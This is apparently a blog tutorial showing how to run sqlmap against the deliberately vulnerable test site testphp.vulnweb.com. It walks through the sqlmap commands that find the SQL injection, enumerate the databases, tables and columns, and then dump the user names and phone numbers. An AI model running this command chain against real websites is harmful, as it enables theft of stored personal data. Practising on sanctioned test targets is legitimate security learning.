HOW TO HACK WEB DATABASES USING SQLMAP ON KALI LINUX

Hacking is Not a Crime, it's an Art of Logic.

Kali Linux is always a top choice for Hacking and Penetration tests. Most of the Security researchers use Kali Linux to discover the bug or security flaw in the security system. But we will not mess our self with all these technical stuff right now. Today we are about to use SQLMAP which is a most used tool to test database vulnerability or for SQL injection. It supports many databases like MySQL, Oracle, IBM DB2 etc. 
Before I begin, I assume we all know few technical internet related terms, which is important.
  • Web databases   
  • Terminals
  • Networks
  • SQL
  • Security
  • Linux
If You know these terms then you can keep reading this post. Otherwise i suggest you to go with these terms first otherwise we will not be knowing what actually we have done. So Lets get started.

Steps:-
  • Open your Kali Linux or any other Linux distribution you like with SqlMap installed.  
  • First thing you have to open is Kali Linux Terminal or you can say command line from sidebar on desktop.
  • Type "sqlmap -h" just to see the help options for SqlMap, just like below.
The Example Website we have used for learning is "http://testphp.vulnweb.com/listproducts.php?cat=1". So go ahead and
  • Type "sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1"

This will start the SqlMap to look up for some vulnerability in database at various levels. If any option appear to choose between yes or no you are supposed to say yes like below in some cases.


The information like DBMS name, version, language used in website back end will be shown After the sqlmap finishes the test. So next move is to find the database names used in back end.

  • type "sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs"


the output of above SqlMap command will result in something like this.


Wow, half of the mission is accomplished. We just found the database names. Now we will select one database and find the tables in it.

  • type "sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D  acuart --tables"

this will output something like this.This contains the tables from acuart database. 


Select the one table and find the columns in it.

  • type "sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart  -T  users --columns"

this will reveal the columns in it, Like below.


Now one thing left is to get the information stored in these columns of the table, so let's do it.

type "sqlmap - u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart  -T users -C name,phone --dump"


The output is given below with information like name,phone etc which we have fetched above.


Finally we did it, we got the data stored in the database of the website with much less efforts. Still if you did't get it here is video demonstration of what we have done yet. Have a look below. 



Please note that This tutorial is only for learning purposes. Do not try this on live websites otherwise you may get your self in some trouble. If you like the tutorial please do share below.

Comments